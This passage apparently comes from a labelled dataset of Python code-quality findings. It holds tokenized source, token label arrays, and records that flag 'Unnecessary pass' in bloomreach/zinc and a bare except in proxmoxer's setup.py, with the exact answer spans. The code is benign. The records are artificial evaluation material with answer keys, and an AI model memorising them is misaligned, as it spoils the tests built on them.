"=", "Tru", "e", ").", " ", "If", " ", "'", "colo", "cated", "',", " ", "the", " ", "'", "colo", "cated", "\\u", "share", "s", "'", " ", "and", " ", "'", "last", "\\u", "colo", "cated", "'", " ", "are", " ", "update", "d", "\\", "10", ";", " ", " ", " ", " ", "similar", "ly", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Decay", "Share", "s_", "(_", "timestamp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "total", "\\u", "shares_", "+=_", "(_", "1.0_", "if_", "shared_", "else_", "-_", "1.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "colo", "cated", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "colo", "cated", "\\u", "shares_", "+=_", "(_", "1.0_", "if_", "shared_", "else_", "-_", "1.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Friend", "_", "(_", "DB", "Range", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "gen_", "._", "engine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Make", "Friends", "_", "(_", "cls_", ",_", "client_", ",_", "user", "\\u", "id_", ",_", "frie", "nd", "\\u", "id_", ",_", "callback_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Creat", "es", " ", "a", " ", "bi", "-", "direction", "al", " ", "friends", "hip", " ", "bet", "ween", " ", "user", "\\u", "id", " ", "and", " ", "frie", "nd", "\\u", "id", " ", "if", " ", "it", " ", "doe", "s", " ", "not", " ", "alr", "ead", "y", "\\", "10", ";", " ", " ", " ", " ", "exist", ".", " ", "Invok", "es", " ", "the", " ", "callback", " ", "with", " ", "the", " ", "pair", " ", "of", " ", "friends", "hip", " ", "object", "s", ":", "\\", "10", ";", " ", " ", "[(", "user", "\\u", "id", "=>", "frie", "nd", "\\u", "id", "),", " ", "(", "frie", "nd", "\\u", "id", "=>", "user", "\\u", "id", ")]", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "db_", "._", "user_", "import_", "User_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Det", "erm", "ine", " ", "whe", "ther", " ", "one", " ", "or", " ", "bot", "h", " ", "side", "s", " ", "of", " ", "the", " ", "friends", "hip", " ", "are", " ", "missi", "ng", "._", "\\u\\u\\uNL\\u\\u\\u_", "forward", "\\u", "friend_", ",_", "reverse", "\\u", "friend_", "=_", "yield_", "[_", "gen_", "._", "Task_", "(_", "Friend", "_", "._", "Query_", ",_", "client_", ",_", "user", "\\u", "id_", ",_", "frie", "nd", "\\u", "id_", ",_", "None_", ",_", "must", "\\u", "exist_", "=_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "gen_", "._", "Task_", "(_", "Friend", "_", "._", "Query_", ",_", "client_", ",_", "frie", "nd", "\\u", "id_", ",_", "user", "\\u", "id_", ",_", "None_", ",_", "must", "\\u", "exist_", "=_", "False_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Make", " ", "sure", " ", "tha", "t", " ", "bot", "h", " ", "side", "s", " ", "of", " ", "the", " ", "friends", "hip", " ", "have", " ", "bee", "n", " ", "created", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "forward", "\\u", "friend_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "forward", "\\u", "friend_", "=_", "Friend", "_", "._", "Creat", "e", "Fro", "m", "Keywords_", "(_", "user", "\\u", "id_", "=_", "user", "\\u", "id_", ",_", "frie", "nd", "\\u", "id_", "=_", "frie", "nd", "\\u", "id_", ",_", "status_", "=_", "Friend", "_", "._", "FRI", "END_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "forward", "\\u", "friend_", "._", "Update_", ",_", "client_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "reverse", "\\u", "friend_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reverse", "\\u", "friend_", "=_", "Friend", "_", "._", "Creat", "e", "Fro", "m", "Keywords_", "(_", "user", "\\u", "id_", "=_", "frie", "nd", "\\u", "id_", ",_", "frie", "nd", "\\u", "id_", "=_", "user", "\\u", "id_", ",_", "status_", "=_", "Friend", "_", "._", "FRI", "END_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "reverse", "\\u", "friend_", "._", "Update_", ",_", "client_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "callback_", "(_", "(_", "forward", "\\u", "friend_", ",_", "reverse", "\\u", "friend_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Friend", "_", "(_", "DB", "Range", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "gen_", "._", "engine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Make", "Friends", "With", "Group_", "(_", "cls_", ",_", "client_", ",_", "user", "\\u", "ids_", ",_", "callback_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Creat", "es", " ", "bi", "-", "direction", "al", " ", "friends", "hip", "s", " ", "bet", "ween", " ", "all", " ", "the", " ", "specified", " ", "users", ".", " ", "Ea", "ch", " ", "user", " ", "will", " ", "be", "\\", "10", ";", " ", " ", " ", " ", "friends", " ", "with", " ", "every", " ", "other", " ", "user", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "[_", "gen_", "._", "Task_", "(_", "Friend", "_", "._", "Make", "Friends", "_", ",_", "client_", ",_", "user", "\\u", "id_", ",_", "frie", "nd", "\\u", "id_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "index_", ",_", "user", "\\u", "id_", "in_", "enumerate_", "(_", "user", "\\u", "ids_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "frie", "nd", "\\u", "id_", "in_", "user", "\\u", "ids_", "[_", "index_", "+_", "1_", ":_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "user", "\\u", "id_", "!=_", "frie", "nd", "\\u", "id_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "callback_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Friend", "_", "(_", "DB", "Range", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "gen_", "._", "engine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Make", "Friend", "And", "Update_", "(_", "cls_", ",_", "client_", ",_", "user", "\\u", "id_", ",_", "frie", "nd", "\\u", "dict_", ",_", "callback_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Ensur", "es", " ", "tha", "t", " ", "the", " ", "give", "n", " ", "user", " ", "has", " ", "at", " ", "leas", "t", " ", "a", " ", "one", "-", "way", " ", "frie", "nd", " ", "relation", "ship", " ", "with", " ", "the", " ", "give", "n", "\\", "10", ";", " ", " ", " ", " ", "frie", "nd", ".", " ", "Update", "s", " ", "the", " ", "frie", "nd", " ", "relation", "ship", " ", "attribute", "s", " ", "with", " ", "tho", "se", " ", "give", "n", " ", "in", " ", "\"", "frie", "nd", "\\u", "dict", "\".\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "db_", "._", "user_", "import_", "User_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "friend_", "=_", "yield_", "gen_", "._", "Task_", "(_", "Friend", "_", "._", "Query_", ",_", "client_", ",_", "user", "\\u", "id_", ",_", "frie", "nd", "\\u", "dict_", "[_", "'", "user", "\\u", "id", "'_", "]_", ",_", "None_", ",_", "must", "\\u", "exist_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "friend_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Ensur", "e", " ", "tha", "t", " ", "the", " ", "frie", "nd", " ", "exist", "s", " ", "as", " ", "user", " ", "in", " ", "the", " ", "system", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "frie", "nd", "\\u", "user_", "=_", "yield_", "gen_", "._", "Task_", "(_", "User_", "._", "Query_", ",_", "client_", ",_", "frie", "nd", "\\u", "dict_", "[_", "'", "user", "\\u", "id", "'_", "]_", ",_", "None_", ",_", "must", "\\u", "exist_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "frie", "nd", "\\u", "user_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Not", "Foun", "d", "Error_", "(_", "'", "User", " ", "%", "d", " ", "doe", "s", " ", "not", " ", "exist", ".'_", "%_", "frie", "nd", "\\u", "dict_", "[_", "'", "user", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Creat", "e", " ", "a", " ", "one", "-", "way", " ", "frie", "nd", " ", "relation", "ship", " ", "from", " ", "the", " ", "calling", " ", "user", " ", "to", " ", "the", " ", "frie", "nd", " ", "user", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "friend_", "=_", "Friend", "_", "._", "Creat", "e", "Fro", "m", "Keywords_", "(_", "user", "\\u", "id_", "=_", "user", "\\u", "id_", ",_", "frie", "nd", "\\u", "id_", "=_", "frie", "nd", "\\u", "dict_", "[_", "'", "user", "\\u", "id", "'_", "]_", ",_", "status_", "=_", "Friend", "_", "._", "FRI", "END_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Update", " ", "all", " ", "give", "n", " ", "attribute", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert_", "frie", "nd", "\\u", "dict_", "[_", "'", "user", "\\u", "id", "'_", "]_", "==_", "friend_", "._", "frie", "nd", "\\u", "id_", ",_", "(_", "frie", "nd", "\\u", "dict_", ",_", "friend_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "key_", ",_", "value_", "in_", "frie", "nd", "\\u", "dict_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "key_", "!=_", "'", "user", "\\u", "id", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "key_", "in_", "Friend", "_", "._", "FRI", "END", "\\u", "ATTRIBUTES_", ",_", "frie", "nd", "\\u", "dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "setattr_", "(_", "friend_", ",_", "key_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "friend_", "._", "Update_", ",_", "client_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "callback_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Friend", "_", "(_", "DB", "Range", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "gen_", "._", "engine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Update", "Operation_", "(_", "cls_", ",_", "client_", ",_", "callback_", ",_", "user", "\\u", "id_", ",_", "friend_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Update", "s", " ", "frie", "nd", " ", "metadata", " ", "for", " ", "the", " ", "relation", "ship", " ", "bet", "ween", " ", "the", " ", "give", "n", " ", "user", " ", "and", " ", "frie", "nd", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Update", " ", "the", " ", "metadata", "._", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Friend", "_", "._", "Make", "Friend", "And", "Update_", ",_", "client_", ",_", "user", "\\u", "id_", ",_", "friend_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sen", "d", " ", "notification", "s", " ", "to", " ", "all", " ", "the", " ", "calling", " ", "user", "'", "s", " ", "device", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "Notifi", "cation", "Manager_", "._", "Noti", "fy", "Update", "Friend", "_", "(_", "client_", ",_", "friend_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "callback_", "(_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unnecessary pass
bloomreach/zinc/zinc.py
[ { "content": " def acquire(self, key):\n log.debug(\"acquiring lock for key: %s\", key)\n pass", "metadata": "root.NoLockService.acquire", "header": "['class', 'NoLockService', '(', 'LockService', ')', ':', '___EOS___']", "index": 850 }, { "content": " def release(self, key):\n log.debug(\"releasing lock for key: %s\", key)\n pass", "metadata": "root.NoLockService.release", "header": "['class', 'NoLockService', '(', 'LockService', ')', ':', '___EOS___']", "index": 854 }, { "content": " @log_calls\n def _apply_changelist_to_items(self, items, changelist, new_rev):\n '''\n Given a list of items, apply adds, removes, and modifications, updating\n store paths for each new item. Returns (new_items, changed_items), where\n new_items is the full list of items, with modifications, and changed_items\n includes only those that have changed (due to adds or modifies).\n '''\n all_paths = set([item.path for item in items])\n assert changelist.rm_paths.issubset(all_paths)\n assert changelist.mod_paths.issubset(all_paths)\n assert len(changelist.add_paths.intersection(all_paths)) == 0\n \n new_items = []\n changed_items = []\n for item in items:\n if item.path in changelist.rm_paths:\n log.debug(\"changes: removing: %s\", item)\n pass\n elif item.path in changelist.mod_paths:\n new_item = Item(item.path, self._store_path_file(item.path, new_rev), self.config.compression)\n log.debug(\"changes: modifying: %s\", new_item)\n new_items.append(new_item)\n changed_items.append(new_item)\n else:\n log.debug(\"changes: unchanged: %s\", item)\n new_items.append(item)\n\n for path in changelist.add_paths:\n new_item = Item(path, self._store_path_file(path, new_rev), self.config.compression)\n log.debug(\"changes: adding: %s\", new_item)\n new_items.append(new_item)\n changed_items.append(new_item)\n\n # Sort results so manifests etc. look pretty\n new_items.sort(key=lambda item: item.path)\n changed_items.sort(key=lambda item: item.path)\n\n return (new_items, changed_items)", "metadata": "root.Repo._apply_changelist_to_items", "header": "['class', 'Repo', '(', 'object', ')', ':', '___EOS___']", "index": 2165 } ]
[ { "span": "pass", "start_line": 852, "start_column": 4, "end_line": 852, "end_column": 8 }, { "span": "pass", "start_line": 856, "start_column": 4, "end_line": 856, "end_column": 8 }, { "span": "pass", "start_line": 2183, "start_column": 8, "end_line": 2183, "end_column": 12 } ]
[]
1
true
[ "[CLS]_", "Un", "necessar", "y_", "pass_", "[SEP]_", "class_", "No", "Lock", "Service_", "(_", "Lock", "Service_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "acquire_", "(_", "self_", ",_", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "._", "debug_", "(_", "\"", "acquir", "ing", " ", "lock", " ", "for", " ", "key", ":", " ", "%", "s", "\"_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "No", "Lock", "Service_", "(_", "Lock", "Service_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "release_", "(_", "self_", ",_", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "._", "debug_", "(_", "\"", "rele", "asin", "g", " ", "lock", " ", "for", " ", "key", ":", " ", "%", "s", "\"_", ",_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Repo_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "log", "\\u", "calls_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "appl", "y", "\\u", "changeli", "st", "\\u", "to", "\\u", "items_", "(_", "self_", ",_", "items_", ",_", "changeli", "st_", ",_", "new", "\\u", "rev_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Give", "n", " ", "a", " ", "list", " ", "of", " ", "items", ",", " ", "appl", "y", " ", "adds", ",", " ", "remove", "s", ",", " ", "and", " ", "modification", "s", ",", " ", "updat", "ing", "\\", "10", ";", " ", " ", " ", " ", "store", " ", "path", "s", " ", "for", " ", "each", " ", "new", " ", "item", ".", " ", "Return", "s", " ", "(", "new", "\\u", "items", ",", " ", "change", "d\\u", "items", "),", " ", "where", "\\", "10", ";", " ", " ", " ", " ", "new", "\\u", "items", " ", "is", " ", "the", " ", "full", " ", "list", " ", "of", " ", "items", ",", " ", "with", " ", "modification", "s", ",", " ", "and", " ", "change", "d\\u", "items", "\\", "10", ";", " ", " ", " ", " ", "include", "s", " ", "only", " ", "tho", "se", " ", "tha", "t", " ", "have", " ", "change", "d", " ", "(", "due", " ", "to", " ", "adds", " ", "or", " ", "modifi", "es", ").", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "all", "\\u", "paths_", "=_", "set_", "(_", "[_", "item_", "._", "path_", "for_", "item_", "in_", "items_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "changeli", "st_", "._", "rm", "\\u", "paths_", "._", "issubset_", "(_", "all", "\\u", "paths_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "changeli", "st_", "._", "mod", "\\u", "paths_", "._", "issubset_", "(_", "all", "\\u", "paths_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "len_", "(_", "changeli", "st_", "._", "add", "\\u", "paths_", "._", "intersection_", "(_", "all", "\\u", "paths_", ")_", ")_", "==_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "items_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "change", "d\\u", "items_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "item_", "in_", "items_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "item_", "._", "path_", "in_", "changeli", "st_", "._", "rm", "\\u", "paths_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "._", "debug_", "(_", "\"", "change", "s", ":", " ", "remo", "ving", ":", " ", "%", "s", "\"_", ",_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "item_", "._", "path_", "in_", "changeli", "st_", "._", "mod", "\\u", "paths_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "item_", "=_", "Item_", "(_", "item_", "._", "path_", ",_", "self_", "._", "\\u", "store", "\\u", "path", "\\u", "file_", "(_", "item_", "._", "path_", ",_", "new", "\\u", "rev_", ")_", ",_", "self_", "._", "config_", "._", "compression_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "._", "debug_", "(_", "\"", "change", "s", ":", " ", "modif", "ying", ":", " ", "%", "s", "\"_", ",_", "new", "\\u", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "items_", "._", "append_", "(_", "new", "\\u", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "change", "d\\u", "items_", "._", "append_", "(_", "new", "\\u", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "._", "debug_", "(_", "\"", "change", "s", ":", " ", "unchanged", ":", " ", "%", "s", "\"_", ",_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "items_", "._", "append_", "(_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "path_", "in_", "changeli", "st_", "._", "add", "\\u", "paths_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "item_", "=_", "Item_", "(_", "path_", ",_", "self_", "._", "\\u", "store", "\\u", "path", "\\u", "file_", "(_", "path_", ",_", "new", "\\u", "rev_", ")_", ",_", "self_", "._", "config_", "._", "compression_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "._", "debug_", "(_", "\"", "change", "s", ":", " ", "addin", "g", ":", " ", "%", "s", "\"_", ",_", "new", "\\u", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "items_", "._", "append_", "(_", "new", "\\u", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "change", "d\\u", "items_", "._", "append_", "(_", "new", "\\u", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sort", " ", "results", " ", "so", " ", "manifests", " ", "etc", ".", " ", "look", " ", "pretty_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "new", "\\u", "items_", "._", "sort_", "(_", "key_", "=_", "lambda_", "item_", ":_", "item_", "._", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "change", "d\\u", "items_", "._", "sort_", "(_", "key_", "=_", "lambda_", "item_", ":_", "item_", "._", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "(_", "new", "\\u", "items_", ",_", "change", "d\\u", "items_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
swayf/proxmoxer/setup.py
[ { "content": "#!/usr/bin/env python\nimport codecs\nimport re\nimport sys\nimport proxmoxer\nimport os\nfrom setuptools import setup\n\n\nif not os.path.exists('README.txt') and 'sdist' in sys.argv:\n with codecs.open('README.rst', encoding='utf8') as f:\n rst = f.read()\n code_block = '(:\\n\\n)?\\.\\. code-block::.*'\n rst = re.sub(code_block, '::', rst)\n with codecs.open('README.txt', encoding='utf8', mode='wb') as f:\n f.write(rst)\n\n\ntry:\n readme = 'README.txt' if os.path.exists('README.txt') else 'README.rst'\n long_description = codecs.open(readme, encoding='utf-8').read()\nexcept:\n long_description = 'Could not read README.txt'\n\n\nsetup(\n name = 'proxmoxer',\n version = proxmoxer.__version__,\n description = 'Python Wrapper for the Proxmox 2.x API (HTTP and SSH)',\n author = 'Oleg Butovich',\n author_email = '[email protected]',\n license = \"MIT\",\n url = 'https://github.com/swayf/proxmoxer',\n download_url = 'http://pypi.python.org/pypi/proxmoxer',\n keywords = ['proxmox', 'api'],\n packages=['proxmoxer', 'proxmoxer.backends'],\n classifiers = [ #http://pypi.python.org/pypi?%3Aaction=list_classifiers\n \"Development Status :: 4 - Beta\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 2\",\n \"Programming Language :: Python :: 2.7\",\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: 3.4\",\n \"Intended Audience :: Developers\",\n \"Intended Audience :: System Administrators\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n ],\n long_description = long_description\n)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "except:", "start_line": 21, "start_column": 0, "end_line": 21, "end_column": 7 } ]
[]
1
true
